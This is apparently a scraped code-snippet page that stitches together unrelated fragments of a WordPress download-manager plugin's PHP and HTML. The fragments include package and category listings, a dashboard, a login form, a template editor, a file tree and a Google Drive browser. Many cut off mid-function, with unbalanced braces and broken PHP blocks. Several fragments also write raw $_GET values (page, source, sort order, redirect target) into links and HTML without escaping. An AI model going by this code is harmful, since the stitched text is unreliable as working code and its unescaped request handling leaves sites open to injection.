function Packages($params = array('items_per_page' => 10, 'title' => false, 'desc' => false, 'order_by' => 'date', 'order' => 'desc', 'paging' => false, 'toolbar' => 1, 'template' => '', 'cols' => 3, 'colspad' => 2, 'colsphone' => 1, 'tags' => '', 'categorirs' => '', 'year' => '', 'month' => ''))
 {
     $params['order_by'] = isset($params['order_field']) && $params['order_field'] != '' && !isset($params['order_by']) ? $params['order_field'] : $params['order_by'];
     $scparams = $params;
     $defaults = array('items_per_page' => 10, 'title' => false, 'desc' => false, 'order_by' => 'date', 'order' => 'desc', 'paging' => false, 'toolbar' => 1, 'template' => 'link-template-panel', 'cols' => 3, 'colspad' => 2, 'colsphone' => 1);
     $params = shortcode_atts($defaults, $params, 'wpdm_packages');
     if (is_array($params)) {
         extract($params);
     }
     $cwd_class = "col-md-" . (int) (12 / $cols);
     $cwdsm_class = "col-sm-" . (int) (12 / $colspad);
     $cwdxs_class = "col-xs-" . (int) (12 / $colsphone);
     if (isset($id)) {
         $id = trim($id, ", ");
         $cids = explode(",", $id);
     }
     global $wpdb, $current_user, $post, $wp_query;
     if (isset($order_by) && !isset($order_field)) {
         $order_field = $order_by;
     }
     $order_field = isset($order_field) ? $order_field : 'date';
     $order_field = isset($_GET['orderby']) ? $_GET['orderby'] : $order_field;
     $order = isset($order) ? $order : 'desc';
     $order = isset($_GET['order']) ? $_GET['order'] : $order;
     $cp = wpdm_query_var('cp', 'num');
     if (!$cp) {
         $cp = 1;
     }
     $params = array('post_type' => 'wpdmpro', 'paged' => $cp, 'posts_per_page' => $items_per_page, 'include_children' => false);
     if (isset($scparams['month']) && $scparams['month'] != '') {
         $params['monthnum'] = $scparams['month'];
     }
     if (isset($scparams['year']) && $scparams['year'] != '') {
         $params['year'] = $scparams['year'];
     }
     if (isset($scparams['day']) && $scparams['day'] != '') {
         $params['day'] = $scparams['day'];
     }
     if (isset($scparams['search']) && $scparams['search'] != '') {
         $params['s'] = $scparams['search'];
     }
     if (isset($scparams['tag']) && $scparams['tag'] != '') {
         $params['tag'] = $scparams['tag'];
     }
     if (isset($scparams['tag_id']) && $scparams['tag_id'] != '') {
         $params['tag_id'] = $scparams['tag_id'];
     }
     if (isset($scparams['tag__and']) && $scparams['tag__and'] != '') {
         $params['tag__and'] = explode(",", $scparams['tag__and']);
     }
     if (isset($scparams['tag__in']) && $scparams['tag__in'] != '') {
         $params['tag__in'] = explode(",", $scparams['tag__in']);
     }
     if (isset($scparams['tag__not_in']) && $scparams['tag__not_in'] != '') {
         $params['tag__not_in'] = explode(",", $scparams['tag__not_in']);
     }
     if (isset($scparams['tag_slug__and']) && $scparams['tag_slug__and'] != '') {
         $params['tag_slug__and'] = explode(",", $scparams['tag_slug__and']);
     }
     if (isset($scparams['tag_slug__in']) && $scparams['tag_slug__in'] != '') {
         $params['tag_slug__in'] = explode(",", $scparams['tag_slug__in']);
     }
     if (isset($scparams['categories']) && $scparams['categories'] != '') {
         $operator = isset($scparams['operator']) ? $scparams['operator'] : 'OR';
         $params['tax_query'] = array(array('taxonomy' => 'wpdmcategory', 'field' => 'slug', 'terms' => explode(",", $scparams['categories']), 'include_children' => isset($scparams['include_children']) && $scparams['include_children'] != '' ? $scparams['include_children'] : false, 'operator' => $operator));
     }
     if (get_option('_wpdm_hide_all', 0) == 1) {
         $params['meta_query'] = array(array('key' => '__wpdm_access', 'value' => '"guest"', 'compare' => 'LIKE'));
         if (is_user_logged_in()) {
             global $current_user;
             $params['meta_query'][] = array('key' => '__wpdm_access', 'value' => $current_user->roles[0], 'compare' => 'LIKE');
             $params['meta_query']['relation'] = 'OR';
         }
     }
     $order_fields = array('__wpdm_download_count', '__wpdm_view_count', '__wpdm_package_size_b');
     if (!in_array("__wpdm_" . $order_field, $order_fields)) {
         $params['orderby'] = $order_field;
         $params['order'] = $order;
     } else {
         $params['orderby'] = 'meta_value_num';
         $params['meta_key'] = "__wpdm_" . $order_field;
         $params['order'] = $order;
     }
     $params = apply_filters("wpdm_packages_query_params", $params);
     $packs = new \WP_Query($params);
     $total = $packs->found_posts;
     $pages = ceil($total / $items_per_page);
     $page = isset($_GET['cp']) ? $_GET['cp'] : 1;
     $start = ($page - 1) * $items_per_page;
     if (!isset($paging) || intval($paging) == 1) {
         $pag = new \WPDM\libs\Pagination();
         $pag->items($total);
         $pag->nextLabel(' ► ');
         $pag->prevLabel(' ◄ ');
         $pag->limit($items_per_page);
         $pag->currentPage($page);
     }
     $burl = get_permalink();
     $url = $_SERVER['REQUEST_URI'];
     //get_permalink();
     $url = strpos($url, '?') ? $url . '&' : $url . '?';
     $url = preg_replace("/[\\&]*cp=[0-9]+[\\&]*/", "", $url);
     $url = strpos($url, '?') ? $url . '&' : $url . '?';
     if (!isset($paging) || intval($paging) == 1) {
         $pag->urlTemplate($url . "cp=[%PAGENO%]");
     }
     $html = '';
     $templates = maybe_unserialize(get_option("_fm_link_templates", true));
     if (isset($templates[$template])) {
         $template = $templates[$template]['content'];
     }
     //global $post;
     while ($packs->have_posts()) {
         $packs->the_post();
         $pack = (array) $post;
         $repeater = "<div class='{$cwd_class} {$cwdsm_class} {$cwdxs_class}'>" . \WPDM\Package::FetchTemplate($template, $pack) . "</div>";
         $html .= $repeater;
     }
     wp_reset_query();
     $html = "<div class='row'>{$html}</div>";
     if (!isset($paging) || intval($paging) == 1) {
         $pgn = "<div style='clear:both'></div>" . $pag->show() . "<div style='clear:both'></div>";
     } else {
         $pgn = "";
     }
     global $post;
     $sap = get_option('permalink_structure') ? '?' : '&';
     $burl = $burl . $sap;
     if (isset($_GET['p']) && $_GET['p'] != '') {
         $burl .= 'p=' . $_GET['p'] . '&';
     }
     if (isset($_GET['src']) && $_GET['src'] != '') {
         $burl .= 'src=' . $_GET['src'] . '&';
     }
     $orderby = isset($_GET['orderby']) ? $_GET['orderby'] : 'create_date';
     $order = ucfirst($order);
     $title = isset($title) && $title != '' ? "<h3>{$title}</h3>" : "";
     return "<div class='w3eden'>" . $title . $desc . $html . $pgn . "<div style='clear:both'></div></div>";
 }
 /**
  * Enqueue admin scripts & styles
  */
 function enqueueScripts()
 {
     if (get_post_type() == 'wpdmpro' || in_array(wpdm_query_var('page'), array('settings', 'emails', 'wpdm-stats', 'templates', 'importable-files', 'wpdm-addons', 'orders', 'pp-license'))) {
         wp_enqueue_script('jquery');
         wp_enqueue_script('jquery-form');
         wp_enqueue_script('jquery-ui-core');
         wp_enqueue_script('jquery-ui-tabs');
         wp_enqueue_script('jquery-ui-datepicker');
         wp_enqueue_script('jquery-ui-slider');
         wp_enqueue_script('jquery-ui-sortable');
         wp_enqueue_script('jquery-ui-timepicker', WPDM_BASE_URL . 'assets/js/jquery-ui-timepicker-addon.js', array('jquery', 'jquery-ui-core', 'jquery-ui-datepicker', 'jquery-ui-slider'));
         wp_enqueue_style('icons', plugins_url() . '/download-manager/assets/css/icons.css');
         wp_enqueue_script('thickbox');
         wp_enqueue_style('thickbox');
         wp_enqueue_script('media-upload');
         wp_enqueue_media();
         wp_enqueue_script('jquery-choosen', plugins_url('/download-manager/assets/js/chosen.jquery.min.js'), array('jquery'));
         wp_enqueue_style('choosen-css', plugins_url('/download-manager/assets/css/chosen.css'));
         wp_enqueue_style('jqui-css', plugins_url('/download-manager/assets/jqui/theme/jquery-ui.css'));
         wp_enqueue_script('wpdm-bootstrap', plugins_url('/download-manager/assets/bootstrap/js/bootstrap.min.js'), array('jquery'));
         wp_enqueue_script('wpdm-admin', plugins_url('/download-manager/assets/js/wpdm-admin.js'), array('jquery'));
         wp_enqueue_style('font-awesome', WPDM_BASE_URL . 'assets/font-awesome/css/font-awesome.min.css');
         wp_enqueue_style('wpdm-bootstrap', plugins_url('/download-manager/assets/bootstrap/css/bootstrap.css'));
         wp_enqueue_style('wpdm-bootstrap-theme', plugins_url('/download-manager/assets/bootstrap/css/bootstrap-theme.min.css'));
         wp_enqueue_style('wpdm-admin-styles', plugins_url('/download-manager/assets/css/admin-styles.css'));
     }
 }
 /**
  * @usage Short-code function for front-end UI
  * @return string
  */
 function Dashboard()
 {
     global $current_user;
     wp_reset_query();
     $currentAccess = maybe_unserialize(get_option('__wpdm_front_end_access', array()));
     $task = get_query_var('adb_page');
     $task = explode("/", $task);
     if ($task[0] == 'edit-package') {
         $pid = $task[1];
     }
     if ($task[0] == 'page') {
         $task[0] = '';
         set_query_var('paged', $task[1]);
     }
     $task = $task[0];
     if (!array_intersect($currentAccess, $current_user->roles) && is_user_logged_in()) {
         return "<div class='w3eden'><div class='alert alert-danger'>" . wpautop(stripslashes(get_option('__wpdm_front_end_access_blocked', __('Sorry, Your Are Not Allowed!', 'wpdmpro')))) . "</div></div>";
     }
     $id = wpdm_query_var('ID');
     $tabs = array();
     $tabs = apply_filters('wpdm_frontend', $tabs);
     $burl = get_permalink();
     $sap = strpos($burl, '?') ? '&' : '?';
     ob_start();
     include \WPDM\Template::Locate('author-dashboard.php');
     $data = ob_get_clean();
     return $data;
 }
 /**
  * @usage Preview link/page template
  */
 function Preview()
 {
     error_reporting(0);
     $wposts = array();
     $template = wpdm_query_var("template", "html");
     $type = wpdm_query_var("_type", "html");
     $args = array('post_type' => 'wpdmpro', 'posts_per_page' => 1);
     $wposts = get_posts($args);
     $html = "";
     foreach ($wposts as $p) {
         $package = (array) $p;
         $html .= FetchTemplate($template, $package, $type);
     }
     if (count($wposts) == 0) {
         $html = "<div class='col-md-12'><div class='alert alert-info'>" . __('No package found! Please create at least 1 package to see template preview', 'wpdmpro') . "</div> </div>";
     }
     $html = "<div class='w3eden'>" . $html . "</div><div style='clear:both'></div>";
     echo $html;
     die;
 }
    }
</style>
<div class="wpdm-front"><br>
<form id="wpdm-pf" action="" method="post">
<div class="row">

    <div class="col-md-8">


<input type="hidden" id="act" name="act" value="<?php 
echo wpdm_query_var('task', 'txt') == 'edit-package' ? '_ep_wpdm' : '_ap_wpdm';
?>
" />

<input type="hidden" name="id" id="id" value="<?php 
echo wpdm_query_var('id', 'num');
?>
" />
<div class="form-group">
<input id="title" class="form-control input-lg"  placeholder="Enter title here" type="text" value="<?php 
echo isset($post->post_title) ? $post->post_title : '';
?>
" name="pack[post_title]" /><br/>
</div>
<div  class="form-group">
<?php 
$cont = isset($post) ? $post->post_content : '';
wp_editor(stripslashes($cont), 'post_content', array('textarea_name' => 'pack[post_content]'));
?>
</div>
function wpdm_embed_category($params = array('id' => '', 'operator' => 'IN', 'items_per_page' => 10, 'title' => false, 'desc' => false, 'order_field' => 'create_date', 'order' => 'desc', 'paging' => false, 'toolbar' => 1, 'template' => '', 'cols' => 3, 'colspad' => 2, 'colsphone' => 1))
{
    extract($params);
    $fnparams = $params;
    if (!isset($id)) {
        return;
    }
    if (!isset($items_per_page)) {
        $items_per_page = 10;
    }
    if (!isset($template)) {
        $template = 'link-template-calltoaction3.php';
    }
    if (!isset($cols)) {
        $cols = 1;
    }
    if (!isset($colspad)) {
        $colspad = 1;
    }
    if (!isset($colsphone)) {
        $colsphone = 1;
    }
    if (!isset($toolbar)) {
        $toolbar = 1;
    }
    $taxo = 'wpdmcategory';
    if (isset($tag) && $tag == 1) {
        $taxo = 'post_tag';
    }
    $cwd_class = "col-md-" . (int) (12 / $cols);
    $cwdsm_class = "col-sm-" . (int) (12 / $colspad);
    $cwdxs_class = "col-xs-" . (int) (12 / $colsphone);
    $id = trim($id, ", ");
    $cids = explode(",", $id);
    global $wpdb, $current_user, $post, $wp_query;
    $order_field = isset($order_field) ? $order_field : 'publish_date';
    $order_field = isset($_GET['orderby']) ? $_GET['orderby'] : $order_field;
    $order = isset($order) ? $order : 'desc';
    $order = isset($_GET['order']) ? $_GET['order'] : $order;
    $operator = isset($operator) ? $operator : 'IN';
    $cpvar = 'cp_' . $cids[0];
    $cp = wpdm_query_var($cpvar, 'num');
    if (!$cp) {
        $cp = 1;
    }
    $params = array('post_type' => 'wpdmpro', 'paged' => $cp, 'posts_per_page' => $items_per_page, 'include_children' => false, 'tax_query' => array(array('taxonomy' => $taxo, 'field' => 'slug', 'terms' => $cids, 'operator' => $operator)));
    if (get_option('_wpdm_hide_all', 0) == 1) {
        $params['meta_query'] = array(array('key' => '__wpdm_access', 'value' => 'guest', 'compare' => 'LIKE'));
        if (is_user_logged_in()) {
            global $current_user;
            $params['meta_query'][] = array('key' => '__wpdm_access', 'value' => $current_user->roles[0], 'compare' => 'LIKE');
            $params['meta_query']['relation'] = 'OR';
        }
    }
    $params['orderby'] = $order_field;
    $params['order'] = $order;
    $params = apply_filters("wpdm_embed_category_query_params", $params);
    $packs = new WP_Query($params);
    $total = $packs->found_posts;
    $pages = ceil($total / $items_per_page);
    $page = isset($_GET[$cpvar]) ? $_GET[$cpvar] : 1;
    $start = ($page - 1) * $items_per_page;
    if (!isset($paging) || $paging == 1) {
        $pag = new \WPDM\libs\Pagination();
        $pag->items($total);
        $pag->nextLabel(' &#9658; ');
        $pag->prevLabel(' &#9668; ');
        $pag->limit($items_per_page);
        $pag->currentPage($page);
    }
    $burl = get_permalink();
    $url = $_SERVER['REQUEST_URI'];
    //get_permalink();
    $url = strpos($url, '?') ? $url . '&' : $url . '?';
    $url = preg_replace("/[\\&]*{$cpvar}=[0-9]+[\\&]*/", "", $url);
    $url = strpos($url, '?') ? $url . '&' : $url . '?';
    if (!isset($paging) || $paging == 1) {
        $pag->urlTemplate($url . "{$cpvar}=[%PAGENO%]");
    }
    $html = '';
    $templates = maybe_unserialize(get_option("_fm_link_templates", true));
    if (isset($templates[$template])) {
        $template = $templates[$template]['content'];
    }
    global $post;
    while ($packs->have_posts()) {
        $packs->the_post();
        $pack = (array) $post;
        $repeater = "<div class='{$cwd_class} {$cwdsm_class} {$cwdxs_class}'>" . FetchTemplate($template, $pack) . "</div>";
        $html .= $repeater;
    }
    wp_reset_query();
    $html = "<div class='row'>{$html}</div>";
    $cname = array();
    foreach ($cids as $cid) {
        $cat = get_term_by('slug', $cid, $taxo);
        $cname[] = $cat->name;
    }
    $cats = implode(", ", $cname);
    //Added from v4.2.1
    $desc = '';
    if (isset($fnparams['title']) && $fnparams['title'] != false && intval($fnparams['title']) != 1) {
        $cats = $fnparams['title'];
    }
    if (isset($fnparams['desc']) && $fnparams['desc'] != false && intval($fnparams['desc']) != 1) {
        $desc = $fnparams['desc'];
    }
    if (isset($fnparams['desc']) && $fnparams['desc'] == 1) {
        $desc = term_description($cids[0], $taxo);
    }
    $cimg = '';
    $subcats = '';
    if (function_exists('wpdm_ap_categories') && $subcats == 1) {
        $schtml = wpdm_ap_categories(array('parent' => $id));
        if ($schtml != '') {
            $subcats = "<fieldset class='cat-page-tilte'><legend>" . __('Sub-Categories', 'wpdmpro') . "</legend>" . $schtml . "<div style='clear:both'></div></fieldset>" . "<fieldset class='cat-page-tilte'><legend>" . __('Downloads', 'wpdmpro') . "</legend>";
            $efs = '</fieldset>';
        }
    }
    if (!isset($paging) || $paging == 1) {
        $pgn = "<div style='clear:both'></div>" . $pag->show() . "<div style='clear:both'></div>";
    } else {
        $pgn = "";
    }
    global $post;
    $sap = get_option('permalink_structure') ? '?' : '&';
    $burl = $burl . $sap;
    if (isset($_GET['p']) && $_GET['p'] != '') {
        $burl .= 'p=' . $_GET['p'] . '&';
    }
    if (isset($_GET['src']) && $_GET['src'] != '') {
        $burl .= 'src=' . $_GET['src'] . '&';
    }
    $orderby = isset($_GET['orderby']) ? $_GET['orderby'] : 'create_date';
    $order = ucfirst($order);
    $order_field = " " . __(ucwords(str_replace("_", " ", $order_field)), "wpdmpro");
    $ttitle = __('Title', 'wpdmpro');
    $tdls = __('Downloads', 'wpdmpro');
    $tcdate = __('Publish Date', 'wpdmpro');
    $tudate = __('Update Date', 'wpdmpro');
    $tasc = __('Asc', 'wpdmpro');
    $tdsc = __('Desc', 'wpdmpro');
    $tsrc = __('Search', 'wpdmpro');
    $order_by_label = __('Order By', 'wpdmpro');
    if ($toolbar || get_option('__wpdm_cat_tb') == 1) {
        $toolbar = <<<TBR

                 <div class="navbar navbar-default" role="navigation">
  <div class="container-fluid">
    <!-- Brand and toggle get grouped for better mobile display -->
    <div class="navbar-header">
      <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
        <span class="sr-only">Toggle navigation</span>
        <span class="icon-bar"></span>
        <span class="icon-bar"></span>
        <span class="icon-bar"></span>
      </button>
      <a class="navbar-brand" href="#">{$cats}</a>
    </div>

    <!-- Collect the nav links, forms, and other content for toggling -->
    <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">

      <ul class="nav navbar-nav navbar-right">
       <li class="dropdown">
                        <a href="#" class="dropdown-toggle" data-toggle="dropdown">{$order_by_label} {$order_field} <b class="caret"></b></a>
                        <ul class="dropdown-menu">
                         <li><a href="{$burl}orderby=title&order=asc">{$ttitle}</a></li>
                         <!-- li><a href="{$burl}orderby=download_count&order=desc">{$tdls}</a></li -->
                         <li><a href="{$burl}orderby=publish_date&order=desc">{$tcdate}</a></li>
                        </ul>
                     </li>
                     <li class="dropdown">
                        <a href="#" class="dropdown-toggle" data-toggle="dropdown">{$order} <b class="caret"></b></a>
                        <ul class="dropdown-menu">
                         <li><a href="{$burl}orderby={$orderby}&order=asc">{$tasc}</a></li>
                         <li><a href="{$burl}orderby={$orderby}&order=desc">{$tdsc}</a></li>
                        </ul>
                     </li>
      </ul>
    </div><!-- /.navbar-collapse -->
  </div><!-- /.container-fluid -->
</div>
TBR;
    } else {
        $toolbar = '';
    }
    return "<div class='w3eden'>" . $toolbar . $cimg . $desc . $subcats . $html . $pgn . "<div style='clear:both'></div></div>";
}
Beispiel #7
0
<?php

$invoice = wpdm_query_var('invoice', 'txt') ? wpdm_query_var('invoice', 'txt') : '';
if ($invoice != '') {
    $oorder = new Order();
    $order = $oorder->GetOrder($invoice);
    if ($order->uid != 0) {
        $invoice = '';
    }
}
$redirect = isset($_GET['redirect_to']) ? $_GET['redirect_to'] : get_permalink(get_the_ID());
?>



<div class="w3eden be-member">



        <div  style="width: 350px;max-width: 98%;margin: 50px auto">
            <div class="btn-group btn-group-justified" id="be-member-btns">
                <a href="#wpdmlogin" data-toggle="tab" class="btn btn-info btn-lg active"><?php 
_e('Log In', 'wpdmpro');
?>
</a>
                <a href="#wpdmregister" data-toggle="tab" class="btn btn-info btn-lg"><?php 
_e('Register', 'wpdmpro');
?>
</a>
            </div>
            <div class="tab-content">
 function wpdm_embed_tree()
 {
     if (wpdm_query_var('task', 'txt') != 'wpdm_tree') {
         return;
     }
     global $wpdb;
     $cats = get_terms('wpdmcategory', array('hide_empty' => false));
     echo "<ul class=\"jqueryFileTree\" style=\"display: none;\">";
     // All Cats
     $scat = wpdm_query_var('dir') == '/' ? '' : wpdm_query_var('dir', 'txt');
     foreach ($cats as $id => $cat) {
         if ($cat->parent == intval($scat)) {
             echo "<li class=\"directory collapsed\"><a href=\"#\" rel=\"" . $cat->term_id . "\">" . $cat->name . "</a></li>";
         }
     }
     // All files
     $params = array('post_type' => 'wpdmpro', 'posts_per_page' => 9999);
     //if($scat!='')
     $params['tax_query'] = array(array('taxonomy' => 'wpdmcategory', 'field' => 'term_id', 'terms' => $scat, 'include_children' => false));
     $packs = new WP_Query($params);
     while ($packs->have_posts()) {
         $packs->the_post();
         $files = maybe_unserialize(get_post_meta(get_the_ID(), '__wpdm_files', true));
         if (count($files) == 1) {
             $ext = explode(".", $files[0]);
             $ext = end($ext);
         }
         if (count($files) > 1) {
             $ext = 'zip';
         }
         if (!is_array($files) || count($files) == 0) {
             $ext = '_blank';
         }
         if (wpdm_query_var('ddl', 'int') == 0 || wpdm_is_locked(get_the_ID())) {
             echo "<li  class=\"file ext_{$ext}\"><a href='" . get_permalink(get_the_ID()) . "' rel='" . get_permalink(get_the_ID()) . "'>" . get_the_title() . "</a></li>";
         } else {
             echo "<li  class=\"file ext_{$ext}\"><a href='" . wpdm_download_url(get_the_ID()) . "' rel='" . wpdm_download_url(get_the_ID()) . "'>" . get_the_title() . "</a></li>";
         }
     }
     echo "</ul>";
     die;
 }
$default['page'] = '[thumb_700x400]
<br style="clear:both"/>
[description]
<fieldset class="pack_stats">
<legend><b>Package Statistics</b></legend>
<table class="table table-bordered">
<tr><td>Total Downloads:</td><td>[download_count]</td></tr>
<tr><td>Stock Limit:</td><td>[quota]</td></tr>
<tr><td>Total Files:</td><td>[file_count]</td></tr>
</table>
</fieldset><br>
[download_link]';
$ttype = isset($_GET['_type']) ? esc_attr($_GET['_type']) : 'link';
$tpl = maybe_unserialize(get_option("_fm_{$ttype}_templates", array()));
if (wpdm_query_var('tplid', 'txt') != "") {
    $tpl = isset($tpl[wpdm_query_var('tplid', 'txt')]) ? $tpl[wpdm_query_var('tplid', 'txt')] : array();
}
$tpl['content'] = isset($tpl['content']) ? $tpl['content'] : $default[$ttype];
if (isset($_GET['clone']) && $_GET['clone'] != '') {
    $ltpldir = get_stylesheet_directory() . '/download-manager/' . $ttype . '-templates/';
    if (!file_exists($ltpldir) || !file_exists($ltpldir . basename($_GET['clone']))) {
        $ltpldir = WPDM_BASE_DIR . 'tpls/' . $ttype . '-templates/';
    }
    if (file_exists($ltpldir . basename($_GET['clone']))) {
        $template = file_get_contents($ltpldir . basename($_GET['clone']));
        $regx = isset($_GET['_type']) && $_GET['_type'] == 'link' ? "/<\\!\\-\\-[\\s]*WPDM[\\s]+Link[\\s]+Template[\\s]*:([^\\-\\->]+)\\-\\->/" : "/<\\!\\-\\-[\\s]*WPDM[\\s]+Template[\\s]*:([^\\-\\->]+)\\-\\->/";
        $type = ucfirst($_GET['_type']);
        $tpl['title'] = "New {$ttype} Template";
        $tpl['content'] = preg_replace($regx, "", $template);
    }
}
}
wpdm_categories_checkboxed_tree($cparent, $term_list);
echo "</ul>";
?>
        </div>
    </div>

    <div class="panel panel-default">
        <div class="panel-heading"><b><?php 
_e('Main Preview Image', 'wpdmpro');
?>
</b></div>
        <div class="inside">
            <div id="img"><?php 
if (has_post_thumbnail(wpdm_query_var('id', 'num'))) {
    $thumbnail_id = get_post_thumbnail_id(wpdm_query_var('id', 'num'));
    $thumbnail_url = wp_get_attachment_image_src($thumbnail_id, 'full', true);
    ?>
                    <p><img src="<?php 
    echo $thumbnail_url[0];
    ?>
" width="240" alt="preview" /><input type="hidden" name="file[preview]" value="<?php 
    echo $thumbnail_url[0];
    ?>
" id="fpvw" /></p>
                    <a href="#"  id="rmvp" class="text-danger">Remove Featured Image</a>
                <?php 
} else {
    ?>
                    <a href="#" id="wpdm-featured-image">&nbsp;</a>
                    <input type="hidden" name="file[preview]" value="" id="fpvw" />
}
?>
</a></th>
    <th style="" class="manage-column column-media" id="media" scope="col" align="center"><a href='<?php 
echo $burl . $sap;
?>
sfield=publish_date&sorder=<?php 
echo wpdm_query_var('sorder') == 'asc' ? 'desc' : 'asc';
echo $qr;
?>
&paged=<?php 
echo $paged;
?>
'><span>Publish Date</span> <?php 
if (wpdm_query_var('sfield') == 'publish_date') {
    echo wpdm_query_var('sorder') == 'asc' ? '<i class="fa fa-chevron-up" style="color:#D2322D;margin-left:10px"></i>' : '<i class="fa fa-chevron-down" style="color:#D2322D;margin-left:10px"></i>';
}
?>
</a></th>
    <th style="" class="manage-column column-media" id="media" scope="col" align="center">Status</th>
    <th style="" class="manage-column column-media" id="media" scope="col" align="center">Actions</th>
    </tr>
    </tfoot>

    <tbody class="list:post" id="the-list">
    <?php 
while ($res->have_posts()) {
    $res->the_post();
    global $post;
    ?>
    <tr valign="top" class="alternate author-self status-inherit" id="post-<?php 
        function Explore()
        {
            if (wpdm_query_var('page', 'txt') != 'wpdm-google-drive' || !current_user_can('edit_posts')) {
                return;
            }
            $wpdm_google_drive = maybe_unserialize(get_option('__wpdm_google_drive', array()));
            if (!isset($wpdm_google_drive['api_key']) || $wpdm_google_drive['api_key'] == '') {
                wp_die("Missing Google Drive API Credentials! <a href='edit.php?post_type=wpdmpro&page=settings&tab=cloud-storage' target='_blank'>Configure Here</a>");
            }
            echo "<!DOCTYPE html><html><head></head><body>";
            $client = new Google_Client();
            $client->setClientId($wpdm_google_drive['client_id']);
            $client->setClientSecret($wpdm_google_drive['client_secret']);
            $client->addScope(Google_Service_Drive::DRIVE);
            $client->addScope(Google_Service_Drive::DRIVE_FILE);
            $client->addScope(Google_Service_Drive::DRIVE_READONLY);
            $client->addScope(Google_Service_Drive::DRIVE_APPDATA);
            $client->addScope(Google_Service_Drive::DRIVE_APPS_READONLY);
            $client->addScope(Google_Service_Drive::DRIVE_METADATA_READONLY);
            $client->setRedirectUri(admin_url('/?page=wpdm-google-drive'));
            $access_token = isset($_SESSION['wpdmgd_access_token']) ? $_SESSION['wpdmgd_access_token'] : '';
            if ($access_token == '') {
                $auth_url = $client->createAuthUrl();
                if (isset($_GET['code'])) {
                    $_SESSION['gacode'] = $_GET['code'];
                    $client->authenticate($_GET['code']);
                    ?>
                    <script>
                        window.opener.location = window.opener.location;
                        window.close();
                    </script>
                <?php 
                } else {
                    ?>
                    <script src="<?php 
                    echo includes_url('/js/jquery/jquery.js');
                    ?>
"></script>
                    <link rel="stylesheet" href="<?php 
                    echo WPDM_BASE_URL;
                    ?>
bootstrap/css/bootstrap.css"/>
                    <link rel="stylesheet" href="<?php 
                    echo WPDM_BASE_URL;
                    ?>
font-awesome/css/font-awesome.min.css"/>
                    <link href='http://fonts.googleapis.com/css?family=Open+Sans:400,800' rel='stylesheet'
                          type='text/css'>
                    <style>

                        .w3eden *:not(.fa) {
                            font-family: 'Open Sans', arial, helvetica, sans-serif;
                            font-size: 10pt;
                        }

                        td, th {
                            vertical-align: middle !important;
                        }
                    </style>
                    <div class="w3eden">
                        <table style="width: 100%;height: 300px">
                            <tr>
                                <td style="vertical-align: middle;text-align: center">
                                    <a class="btn btn-danger" href="#"
                                       onclick='window.open("<?php 
                    echo $auth_url;
                    ?>
", "_blank", "toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=400, height=400");return false;'><i
                                            class="fa fa-google"></i> Login to Google Drive</a>
                                </td>
                            </tr>
                        </table>
                    </div>
                    <?php 
                    //echo '<script>window.open("'.$auth_url.'", "_blank", "toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=400, height=400");</script>';
                    die;
                }
                $access_token = $client->getAccessToken();
                $_SESSION['wpdmgd_access_token'] = $access_token;
                die;
            } else {
                $client->setAccessToken($access_token);
            }
            if ($client->isAccessTokenExpired()) {
                $access_token = '';
                unset($_SESSION['wpdmgd_access_token']);
                try {
                    $code = isset($_SESSION['gacode']) ? $_SESSION['gacode'] : '';
                    $client->authenticate($code);
                    $NewAccessToken = json_decode($client->getAccessToken());
                    $client->refreshToken($NewAccessToken->refresh_token);
                } catch (Exception $e) {
                    $auth_url = $client->createAuthUrl();
                    ?>
                    <script src="<?php 
                    echo includes_url('/js/jquery/jquery.js');
                    ?>
"></script>
                    <link rel="stylesheet" href="<?php 
                    echo WPDM_BASE_URL;
                    ?>
bootstrap/css/bootstrap.css"/>
                    <link rel="stylesheet" href="<?php 
                    echo WPDM_BASE_URL;
                    ?>
font-awesome/css/font-awesome.min.css"/>
                    <link href='http://fonts.googleapis.com/css?family=Open+Sans:400,800' rel='stylesheet'
                          type='text/css'>
                    <style>
                        .w3eden *:not(.fa) {
                            font-family: 'Open Sans', arial, helvetica, sans-serif;
                            font-size: 10pt;
                        }

                        td, th {
                            vertical-align: middle !important;
                        }
                    </style>
                    <div class="w3eden">
                        <table style="width: 100%;height: 300px">
                            <tr>
                                <td style="vertical-align: middle;text-align: center">
                                    <a class="btn btn-danger" href="#"
                                       onclick='window.open("<?php 
                    echo $auth_url;
                    ?>
", "_blank", "toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=400, height=400");return false;'><i
                                            class="fa fa-google"></i> Login to Google Drive</a>
                                </td>
                            </tr>
                        </table>
                    </div>
                    <?php 
                    //echo '<script>window.open("'.$auth_url.'", "_blank", "toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=400, height=400");</script>';
                    die;
                }
            }
            $service = new Google_Service_Drive($client);
            $result = array();
            $pageToken = NULL;
            do {
                try {
                    $parameters = array();
                    if ($pageToken) {
                        $parameters['pageToken'] = $pageToken;
                    }
                    $files = $service->files->listFiles($parameters);
                    $filelist = array_merge($result, $files->getItems());
                    $pageToken = $files->getNextPageToken();
                    ?>
                    <script type='text/javascript'
                            src='<?php 
                    echo admin_url();
                    ?>
/load-scripts.php?c=1&load[]=jquery-core,jquery-migrate,utils,jquery-ui-core,jquery-ui-widget,jquery-ui-mouse,plupload,json2,jquery-ui-datepicker,jquery-ui-s&load[]=lider&ver=4.1'></script>
                    <link rel="stylesheet" href="<?php 
                    echo WPDM_BASE_URL;
                    ?>
bootstrap/css/bootstrap.css"/>
                    <script src="<?php 
                    echo WPDM_BASE_URL;
                    ?>
bootstrap/js/bootstrap.min.js"></script>
                    <link rel="stylesheet" href="<?php 
                    echo WPDM_BASE_URL;
                    ?>
font-awesome/css/font-awesome.min.css"/>
                    <link href='http://fonts.googleapis.com/css?family=Source+Sans+Pro:300,600' rel='stylesheet'
                          type='text/css'>

                    <style>
                        .w3eden *:not(.fa) {
                            font-family: 'Source Sans Pro', sans-serif;
                            font-size: 11pt;
                            font-weight: 300;
                        }

                        td, th {
                            vertical-align: middle !important;
                        }

                        .tab-content {
                            border: 1px solid #ddd;
                            border-top: 0;
                            border-bottom-left-radius: 4px;
                            border-bottom-right-radius: 4px;
                        }

                        .table {
                            margin: 0 !important;
                        }

                        .w3eden .table > thead > tr > th {
                            border-bottom: 1px solid #dddddd !important;
                            color: #555 !important;
                            font-weight: 600;
                        }
                        #gdfilelist{
                            margin: 10px 30px;text-align: left;
                        }

                        .w3eden .btn-sm{ padding: 3px 8px !important; font-size: 9pt; }
